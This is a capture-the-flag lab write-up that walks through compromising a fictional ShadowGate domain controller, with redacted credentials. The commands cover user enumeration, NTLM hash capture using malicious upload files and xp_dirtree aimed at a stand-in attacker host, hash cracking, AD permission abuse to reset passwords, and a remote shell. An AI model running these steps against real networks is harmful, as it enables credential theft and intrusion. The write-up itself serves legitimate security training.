ShadowGate 2 Banner

Scenario

ShadowGate provides cybersecurity solutions for global enterprises. They are in the process of getting SOC 2 certified and have hired Hack Smarter to perform an internal network penetration test.

Objective: Find all vulnerabilities and, if possible, elevate privileges to Domain Admin.

Difficulty: Medium OS: Windows Server 2019

Host IP Address Operating System Role
SG-DC01 10.1.104.4 Windows Server 2019 Domain Controller / IIS / MSSQL / ADCS

All hashes, passwords, and flags in this writeup are redacted.


Enumeration

Port Scanning

A standard version/script scan against the target:

Exegol ➜ /workspace 𝘹 nmap -sCV 10.1.104.4
Starting Nmap 7.93 ( https://nmap.org ) at 2026-07-17 09:46 PDT
Nmap scan report for 10.1.104.4
Host is up (0.077s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: ShadowGate | Advanced Cyber Security Solutions
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-17 16:46:11Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: shadowgate.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=SG-DC01.shadowgate.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:SG-DC01.shadowgate.local
| Not valid before: 2025-12-07T17:46:45
|_Not valid after:  2026-12-07T17:46:45
|_ssl-date: 2026-07-17T16:47:31+00:00; 0s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2026-07-17T16:47:31+00:00; 0s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-07-17T16:33:33
|_Not valid after:  2056-07-17T16:33:33
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: shadowgate.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=SG-DC01.shadowgate.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:SG-DC01.shadowgate.local
| Not valid before: 2025-12-07T17:46:45
|_Not valid after:  2026-12-07T17:46:45
|_ssl-date: 2026-07-17T16:47:31+00:00; 0s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: shadowgate.local0., Site: Default-First-Site-Name)
|_ssl-date: 2026-07-17T16:47:31+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SG-DC01.shadowgate.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:SG-DC01.shadowgate.local
| Not valid before: 2025-12-07T17:46:45
|_Not valid after:  2026-12-07T17:46:45
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: SHADOWGATE
|   NetBIOS_Domain_Name: SHADOWGATE
|   NetBIOS_Computer_Name: SG-DC01
|   DNS_Domain_Name: shadowgate.local
|   DNS_Computer_Name: SG-DC01.shadowgate.local
|   DNS_Tree_Name: shadowgate.local
|   Product_Version: 10.0.17763
|_  System_Time: 2026-07-17T16:46:51+00:00
| ssl-cert: Subject: commonName=SG-DC01.shadowgate.local
| Not valid before: 2026-07-06T16:10:27
|_Not valid after:  2027-01-05T16:10:27
|_ssl-date: 2026-07-17T16:47:31+00:00; 0s from scanner time.
Service Info: Host: SG-DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-07-17T16:46:55
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.50 seconds

Kerberos, LDAP, and an MSSQL instance on the same host as an IIS site — a single box carrying the Domain Controller, a web application, and a SQL Server instance simultaneously.

Hosts File

The host drops ICMP and its SSL certificates advertise SG-DC01.shadowgate.local, so map the FQDN before doing anything Kerberos-dependent. nxc can generate the entry directly from its own SMB banner:

Exegol ➜ /workspace 𝘹 nxc smb 10.1.104.4 -u '' -p '' /etc/hosts --generate-hosts-file /etc/hosts
SMB         10.1.104.4      445    SG-DC01          [*] Windows 10 / Server 2019 Build 17763 x64 (name:SG-DC01) (domain:shadowgate.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.104.4      445    SG-DC01          [+] shadowgate.local\:

Exegol ➜ /workspace 𝘹 cat /etc/hosts
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::  ip6-localnet
ff00::  ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.2      exegol-shadow
10.1.104.4     SG-DC01.shadowgate.local shadowgate.local SG-DC01

Web Enumeration

The root site is ShadowGate’s own marketing page — a cybersecurity vendor pitching “Advanced Cyber Defense.”

ShadowGate main site

Subdomain Enumeration

Virtual-host fuzzing against the root site — filtering out the default response size — surfaces a hidden dev subdomain:

Exegol ➜ /workspace 𝘹 ffuf -c -w `fzf-wordlists` -H 'Host: FUZZ.shadowgate.local' -u "http://10.1.104.4/" -fs 63405

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://10.1.104.4/
 :: Wordlist         : FUZZ: /opt/lists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.shadowgate.local
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 63405
________________________________________________

dev                     [Status: 200, Size: 14924, Words: 4761, Lines: 425, Duration: 987ms]

Browsing dev.shadowgate.local lands on a “Dev File Upload Portal” whose File Upload Workflow panel names a specific employee by first-name-dot-last-initial:

Dev File Upload Portal login page with File Upload Workflow panel
Security Review: All uploaded files are reviewed and processed by mitch.r

That single line is the whole username convention for the domain — firstname.lastinitial. It’s enough to build a small candidate userlist (mitch.r, plus guesses for other likely employees) and confirm which of them actually exist in AD.

User Enumeration

userlist2.txt isn’t a generic wordlist — it’s built by pulling real employee names off the ShadowGate site itself (the “Our Team” page and staff mentions elsewhere) and converting each one to the firstname.lastinitial convention identified from the dev portal. That turns a handful of scraped names into a small, high-confidence candidate list to validate against Kerberos:

Exegol ➜ /workspace 𝘹 kerbrute userenum -d shadowgate.local --dc 10.1.104.4 /workspace/userlist2.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 07/17/26 - Ronnie Flathers @ropnop

2026/07/17 10:43:01 >  Using KDC(s):
2026/07/17 10:43:01 >   10.1.104.4:88

2026/07/17 10:43:01 >  [+] VALID USERNAME:       mitch.r@shadowgate.local
2026/07/17 10:43:01 >  [+] VALID USERNAME:       daniel.r@shadowgate.local
2026/07/17 10:43:01 >  [+] VALID USERNAME:       milo.w@shadowgate.local
2026/07/17 10:43:01 >  [+] VALID USERNAME:       bogdan.r@shadowgate.local
2026/07/17 10:43:01 >  [+] VALID USERNAME:       ryan.j@shadowgate.local
2026/07/17 10:43:01 >  [+] VALID USERNAME:       oscar.m@shadowgate.local
2026/07/17 10:43:01 >  Done! Tested 7 usernames (6 valid) in 0.079 seconds

Six confirmed accounts, all matching the firstname.lastinitial format identified from the dev portal.


Initial Access — Malicious File Upload

dev.shadowgate.local Enumeration

With the username format in hand, content discovery against the dev vhost itself is next:

Exegol ➜ /workspace 𝘹 feroxbuster -w `fzf-wordlists` -u "http://dev.shadowgate.local" -x pdf -x js,html -x php txt json docx aspx -C 404

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://dev.shadowgate.local/
 🚩  In-Scope Url          │ dev.shadowgate.local
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wfuzz/general/big.txt
 💢  Status Code Filters   │ [404]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 🔎  Extract Links         │ true
 💲  Extensions            │ [pdf, js, html, php, txt, json, docx, aspx]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       29l       95w     1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET       59l      274w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      424l     1038w    14924c http://dev.shadowgate.local/
200      GET      424l     1038w    14934c http://dev.shadowgate.local/login.aspx
301      GET        2l       10w      158c http://dev.shadowgate.local/upload => http://dev.shadowgate.local/upload/
200      GET      803l     1911w    28619c http://dev.shadowgate.local/upload/upload.aspx
[####################] - 85s    54567/54567   0s      found:4       errors:0
[####################] - 44s    27216/27216   618/s   http://dev.shadowgate.local/
[####################] - 43s    27216/27216   626/s   http://dev.shadowgate.local/upload/

/upload/upload.aspx is reachable without credentials and automatically authenticates as mitch.r:

Dev upload portal auto-authenticated as mitch.r

The panel confirms uploaded files are synced to two locations:

LOCAL DEVELOPMENT SERVER
C:\dev\[filename]

SHADOWGATE DOMAIN CONTROLLER
\\SG-DC01\dev$\[filename]

Uploads are reviewed by mitch.r — the classic setup for coercing an NTLM authentication from a real user by getting them to browse a file we control.

Capturing mitch.r’s Hash

Start responder to catch the incoming authentication:

Exegol ➜ /workspace 𝘹 responder --interface "tun0"

Generate hash-grabbing files with hashgrab, pointing them at the listener:

Exegol ➜ hashgrab at   on  main  𝘹 python3 hashgrab.py $ATTACKER_IP test
[*] Generating hash grabbing files..
[*] Written @test.scf
[*] Written @test.url
[*] Written test.library-ms
[*] Written desktop.ini
[*] Written lnk_338.ico
[+] Done, upload files to smb share and capture hashes with smbserver.py/responder

Uploading the generated .lnk file through the portal is enough — Windows Explorer resolves the icon path over SMB the moment the file is browsed, forcing an authentication back to our listener:

Malicious lnk file uploaded successfully
[SMB] NTLMv2-SSP Client   : 10.1.104.4
[SMB] NTLMv2-SSP Username : SHADOWGATE\mitch.r
[SMB] NTLMv2-SSP Hash     : mitch.r::SHADOWGATE:[REDACTED]

Cracking NTLMv2

The captured NetNTLMv2 hash is crackable entirely offline against a wordlist (mode 5600):

Exegol ➜ /workspace 𝘹 hashcat -m 5600 -a 0 mitch.r `fzf-wordlists`
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Recovered........: 1/1 (100.00%) Digests (total)

mitch.r:[REDACTED]

Active Directory Enumeration

BloodHound Collection

With a real credential in hand, collect the domain graph as mitch.r to see what it’s actually worth:

Exegol ➜ /workspace 𝘹 bloodyAD --host SG-DC01 -d shadowgate.local -u 'mitch.r' -p '[REDACTED]' get bloodhound

mitch.r holds ForceChangePassword over two accounts:

mitch.r ForceChangePassword over milo.w and ryan.j

Following the milo.w branch reveals a WriteOwner edge onto svc_mssql:

mitch.r to milo.w to svc_mssql attack path

ryan.j is also reachable via ForceChangePassword from mitch.r, but it’s a dead end with no further outbound edges — milo.w is the branch that actually leads somewhere.

ForceChangePassword → milo.w

With ForceChangePassword over milo.w, set a known password without needing the old one:

Exegol ➜ /workspace 𝘹 bloodyAD -u 'mitch.r' -p '[REDACTED]' -d shadowgate.local --host 10.1.104.4 set password 'milo.w' '[REDACTED]'
[+] Password changed successfully!

WriteOwner → svc_mssql

milo.w doesn’t own svc_mssql by default, so ownership has to be seized before a DACL can be written. First, take ownership using the WriteOwner edge:

Exegol ➜ /workspace 𝘹 owneredit.py -action write -new-owner 'milo.w' -target 'svc_mssql' 'shadowgate.local/milo.w:[REDACTED]' -dc-ip 10.1.104.4
[*] Current owner information below
[*] - SID: S-1-5-21-2396436576-3267128377-3646372360-512
[*] - sAMAccountName: Domain Admins
[*] OwnerSid modified successfully!

Then grant milo.w full control via a DACL write:

Exegol ➜ /workspace 𝘹 dacledit.py -action write -rights FullControl -principal 'milo.w' -target 'svc_mssql' 'shadowgate.local/milo.w:[REDACTED]' -dc-ip 10.1.104.4
[*] DACL backed up to dacledit-[timestamp].bak
[*] DACL modified successfully!

Now reset svc_mssql’s password directly, and confirm it against the SQL Server instance:

Exegol ➜ /workspace 𝘹 bloodyAD -u 'milo.w' -p '[REDACTED]' -d shadowgate.local --host 10.1.104.4 set password 'svc_mssql' '[REDACTED]'
[+] Password changed successfully

Exegol ➜ /workspace 𝘹 nxc mssql 10.1.104.4 -u 'svc_mssql' -p '[REDACTED]'
MSSQL       10.1.104.4      1433   SG-DC01          [+] shadowgate.local\svc_mssql:[REDACTED]

MSSQL Attacks — Impersonation

nxc’s mssql_priv module surfaces a login impersonation right on svc_mssql:

Exegol ➜ /workspace 𝘹 nxc mssql 10.1.104.4 -u 'svc_mssql' -p '[REDACTED]' -M mssql_priv
MSSQL_PRIV  10.1.104.4      1433   SG-DC01          [*] SHADOWGATE\svc_mssql can impersonate: SHADOWGATE\bogdan.r

Impersonate bogdan.r inside the SQL session and check for sysadmin:

SQL (SHADOWGATE\svc_mssql  guest@master)> EXECUTE AS LOGIN = 'SHADOWGATE\bogdan.r';
SQL (SHADOWGATE\bogdan.r  guest@master)> SELECT SYSTEM_USER;

SHADOWGATE\bogdan.r
SQL (SHADOWGATE\bogdan.r  guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin');

0

bogdan.r isn’t sysadmin, and further enumeration shows the account has almost no rights inside SQL Server itself — guest only in every database, no linked servers, msdb/master/model/tempdb all owned by the disabled sa login, and ShadowGate owned by SHADOWGATE\Administrator. This account isn’t a SQL Server privesc — it’s a credential capture opportunity.

NTLMv2 Capture via xp_dirtree

xp_dirtree is an extended stored procedure that walks a directory tree at a given path — including a UNC path. Point it at a share that doesn’t exist and SQL Server still has to resolve that path first, which means the service account itself performs an SMB authentication against whatever is listening there. Get Responder running again on tun0 (the same listener used to catch mitch.r earlier) before triggering it:

Exegol ➜ /workspace 𝘹 responder --interface "tun0"

With the listener up, coerce bogdan.r’s SQL Server context into authenticating to it — no user interaction required this time, just a SQL command. The query itself returns nothing (the path doesn’t exist), but Responder catches the coerced authentication in the background:

SQL (SHADOWGATE\bogdan.r  guest@master)> EXEC xp_dirtree '\\$ATTACKER_IP\share'

subdirectory   depth
------------   -----
[SMB] NTLMv2-SSP Client   : 10.1.104.4
[SMB] NTLMv2-SSP Username : SHADOWGATE\bogdan.r
[SMB] NTLMv2-SSP Hash     : bogdan.r::SHADOWGATE:[REDACTED]

Crack it the same way as mitch.r’s:

Exegol ➜ /workspace 𝘹 hashcat -m 5600 -a 0 bogdan.r `fzf-wordlists`
bogdan.r:[REDACTED]

Lateral Movement — GenericAll

With a real password for bogdan.r, BloodHound shows two outbound GenericAll edges — over oscar.m and daniel.r. Neither had any outbound rights of its own, but oscar.m is a member of Shadowgate-IT-Support and Remote Management Users:

bogdan.r GenericAll over oscar.m and daniel.r

GenericAll on a user object includes the right to reset its password directly — no need for ForceChangePassword specifically:

Exegol ➜ /workspace 𝘹 bloodyAD -u 'bogdan.r' -p '[REDACTED]' -d shadowgate.local --host 10.1.104.4 set password 'oscar.m' '[REDACTED]'
[+] Password changed successfully!

Exegol ➜ /workspace 𝘹 bloodyAD -u 'bogdan.r' -p '[REDACTED]' -d shadowgate.local --host 10.1.104.4 set password 'daniel.r' '[REDACTED]'
[+] Password changed successfully!

oscar.m is the more interesting of the two — its group memberships (below) are what unlock the rest of the box:

oscar.m group memberships

Bypassing a Logon Hours Restriction

A fresh password doesn’t mean a working login:

Exegol ➜ /workspace 𝘹 nxc smb 10.1.104.4 -u 'oscar.m' -p '[REDACTED]'
SMB         10.1.104.4      445    SG-DC01          [-] shadowgate.local\oscar.m:[REDACTED] STATUS_INVALID_LOGON_HOURS

STATUS_INVALID_LOGON_HOURS means AD’s logonHours attribute is restricting when the account is allowed to authenticate — a 21-byte bitmask covering every hour of the week. It’s not a password problem, and it isn’t affected by which protocol you use to log in.

Since bogdan.r already holds GenericAll over oscar.m, the restriction can just be overwritten directly rather than waited out:

Exegol ➜ /workspace 𝘹 bloodyAD --host SG-DC01.shadowgate.local -d shadowgate.local -u bogdan.r -p '[REDACTED]' set object oscar.m logonHours
[!] Attribute encoding not supported for logonHours with bytes attribute type, using raw mode
[+] oscar.m's logonHours has been updated

Exegol ➜ /workspace 𝘹 nxc winrm 10.1.104.4 -u 'oscar.m' -p '[REDACTED]'
WINRM       10.1.104.4      5985   SG-DC01          [+] shadowgate.local\oscar.m:[REDACTED] (admin)

User Flag

Exegol ➜ /workspace 𝘹 evil-winrm -u "oscar.m" -p "[REDACTED]" -i "10.1.104.4"

Evil-WinRM shell v3.9

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\oscar.m\Documents> cd ..
*Evil-WinRM* PS C:\Users\oscar.m> cd desktop
*Evil-WinRM* PS C:\Users\oscar.m\desktop> ls


    Directory: C:\Users\oscar.m\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        12/4/2025   1:03 PM           6553 user.txt


*Evil-WinRM* PS C:\Users\oscar.m\desktop> type user.txt

FLAG[REDACTED]

⣟⢯⣻⡝⣯⢻⡝⣯⢻⡝⣯⢻⡝⣯⢻⡝⣯⢻⡝⣯⢻⡝⣯⢻⡝⣯⢻⣝⣯⣻⣝⢯⣻⢭⣻⣝⣯⣝⢯⣏⢿⡹⣝⢯⡝⣯⡝⣯⡝⣯⡝⣯⠽⣭⢯⡽⣭⢯⠽⣭⠯⡽⣭⢯⡝
⣯⢏⡷⣽⡹⢯⣽⡹⢯⡽⣭⢯⡽⣞⢯⡽⣚⣧⢟⡞⣧⣟⠮⠗⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠓⠛⠽⢎⣟⢶⣛⡶⣽⢲⡻⣜⡻⣜⢧⡻⣜⡏⡿⣜⢯⡳⣝⢮⡽
⣯⢯⡽⢶⣛⣯⢶⣛⣯⢞⣧⠿⣼⣹⢮⣗⣻⡼⠟⠊⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠺⢵⣫⢷⡹⢧⡻⣝⢮⡳⣝⢾⡱⣏⢾⡱⣏⢾⣱
⣟⡮⣟⣭⠷⣞⡽⣞⡼⣏⡾⣝⡧⣟⡾⠞⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣤⣤⣤⣤⣤⣄⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⢯⣏⢷⡹⣎⢷⡹⣎⢷⡹⣎⢷⡹⣎⠷
⣯⢷⡻⣼⢻⡝⣾⡹⣞⡽⣞⢧⠟⠊⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⡿⣿⣿⣿⣷⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠫⣷⡹⢮⢷⡹⣎⢷⡹⣎⠷⣭⢻
⣟⡾⣝⣳⢯⣻⡼⣏⡷⣯⠟⠁⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿⣿⣿⣻⣿⣿⣿⣿⢹⣿⣿⣿⣟⣷⣉⠻⣿⣿⣿⣿⣿⣶⣤⡀⠀⠀⠀⠀⠀⠀⠈⠻⡽⣎⢷⡹⣎⢷⣹⢻⡜⣯
⣟⡾⣹⢧⡿⣱⣟⣾⡽⠃⠀⠀⠀⠀⠀⠀⣠⣶⣿⣿⣿⣿⣿⣿⣟⣵⣿⣿⣿⣿⣿⢺⣿⣿⣿⣿⢮⣳⣖⡘⣿⣿⣟⣯⣿⣟⣿⣶⣄⠀⠀⠀⠀⠀⠀⠈⢻⢮⡽⣹⢎⡷⣫⢞⡵
⣯⡽⣛⣮⣽⣳⣿⠎⠀⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣱⣿⡿⢛⠿⠋⠙⠘⠛⠛⠿⣿⢯⣷⢳⡮⠼⣿⣿⣿⣟⣿⣻⣾⣟⣷⣄⠀⠀⠀⠀⠀⠀⠙⣾⣱⡻⣜⢧⡻⣼
⣧⢿⣻⠼⣧⣿⠇⠀⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⣤⠃⠀⠀⠀⠀⠀⠀⠘⢧⠘⢇⢿⡃⣸⣿⣟⣿⡿⣿⣧⣿⣟⣿⣄⠀⠀⠀⠀⠀⠀⠘⣧⡻⣼⣛⢧⢧
⣟⡾⣭⢿⣿⠋⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣺⡇⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠸⠃⠀⣯⣆⣧⣻⣿⡿⣿⣟⣷⣿⢾⣯⢿⣷⡀⠀⠀⠀⠀⠀⠘⣗⣧⣛⣮⢻
⡿⣼⣻⣿⠏⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢽⣁⡴⣷⠶⡤⠤⠤⠄⡤⠤⠴⣶⣶⢦⣹⠿⣿⣿⣿⣿⣿⢿⣿⣾⡿⣯⣿⣞⣿⡄⠀⠀⠀⠀⠀⠘⣶⢫⡞⣽
⣟⣷⣿⡟⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢹⢹⡼⣿⠷⣉⢎⣱⣉⠲⣉⠶⢿⢿⢀⣇⢈⣿⣿⣿⣿⣿⣿⣿⣾⢿⣟⣷⣿⣳⡿⡄⠀⠀⠀⠀⠀⢹⡳⣽⢳
⣿⣾⣿⠁⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣧⠘⠄⠑⠛⠓⠚⢚⠋⠀⠙⠒⠘⢛⠚⠈⠈⢢⣷⣿⣿⣿⣿⣾⣿⣻⣿⣟⣿⣾⣻⣽⣷⠀⠀⠀⠀⠀⠀⢿⣱⢯
⣿⣿⡟⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⡷⢾⡀⠀⠀⠀⠐⠤⣒⠆⠀⠀⠀⠀⣴⣶⣿⢼⣧⣿⣿⣿⣿⣿⣿⣟⣿⣿⣾⣟⣷⡿⡇⠀⠀⠀⠀⠀⢸⣽⢺
⣿⣿⡇⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⢹⣷⡀⠀⠀⠠⠴⠶⠤⠄⠀⠀⣰⡿⣿⣿⣯⢻⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣽⣯⣿⢿⠀⠀⠀⠀⠀⠈⣞⣯
⣿⣿⠅⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⡌⣿⣿⡦⡀⠀⠀⠋⠀⠀⠀⣾⣿⣧⢿⡘⣟⠇⣿⣿⣿⣿⣿⣿⣿⣽⣿⣾⣿⣽⣾⣿⠀⠀⠀⠀⠀⠀⡿⣼
⣿⣿⠂⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣾⣿⣿⣿⡇⢿⣿⡇⠈⢑⡚⣲⠖⠉⠀⣿⣟⡣⡻⡼⣷⡷⡘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣿⢿⣾⠀⠀⠀⠀⠀⠀⣟⣳
⣿⣿⡃⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⡿⣵⣿⣿⠇⠀⠀⠁⠀⠄⠀⠀⣿⣿⣿⡬⢸⣿⣿⣵⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⣟⣳
⣿⣿⡇⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣯⣾⣿⣿⠻⠀⠀⠀⠀⠀⠀⠀⠀⠘⢛⣿⣷⣵⣝⠿⣿⡐⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⡟⠀⠀⠀⠀⠀⢠⢯⢷
⣿⣿⣷⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⣵⣿⣿⣿⣿⣿⡄⠀⠀⢀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣾⣿⣷⣬⠷⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⢸⣻⢞
⣿⣿⣿⡆⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⡿⢟⣯⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣀⠀⠀⠀⠀⢀⣠⣾⣿⣿⣿⣿⡿⣏⢷⣫⢴⣨⣙⠻⢿⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⣟⣧⣟
⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⢀⣾⣿⣿⣿⣿⣿⡿⣯⢗⣻⣎⢷⣻⡗⣮⢣⡍⢿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⣸⣛⡶⣽
⣿⣿⣿⣿⣇⠀⠀⠀⠀⠀⠀⠻⣿⣿⣧⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠣⣿⣿⣿⣿⣿⢯⡿⣝⣯⢳⡞⣿⣿⣽⣳⡿⡼⡘⣿⣿⡿⠁⠀⠀⠀⠀⠀⢰⣯⠽⣞⡽
⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠙⣿⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⣿⣿⣿⣿⣽⡿⣽⣏⢾⣫⡽⣿⣿⣿⣿⢽⣱⢇⢻⠟⠀⠀⠀⠀⠀⠀⢠⣟⡞⣯⡽⣞
⣿⣿⣿⣿⣿⣿⣦⠀⠀⠀⠀⠀⠀⠈⢻⣿⣿⣿⣿⣿⣿⣿⣿⡟⠛⠛⠛⠛⢻⣿⣿⣿⠀⣿⣿⣿⣾⣯⡟⣷⡞⣯⢳⣽⣾⣿⣿⣿⣿⢻⣾⠈⠀⠀⠀⠀⠀⠀⢰⣿⢹⡞⣧⡟⣾
⣿⣿⣿⣿⣿⣿⣿⣦⠀⠀⠀⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⡗⠒⠒⠒⠒⢲⣿⣿⣿⠀⣿⣿⣿⣽⣾⣟⡷⣽⠾⣽⣻⢿⣿⣿⣿⣯⠟⠁⠀⠀⠀⠀⠀⠀⣠⡿⣭⢷⡻⣼⢳⡽
⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⣿⣿⣿⣿⣿⣾⣿⣿⣿⣷⣯⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⢀⣼⣟⣳⡻⢮⣽⢳⡯⣽
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠉⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⢳⡞⣧⣟⣻⡼⣳⡽⣳
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠛⠿⠿⣿⣿⣿⣿⣿⠀⣿⣿⣿⣿⣿⡿⣿⣿⡫⠉⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣻⡼⢯⣽⢳⡾⣱⢯⣳⢽⣳
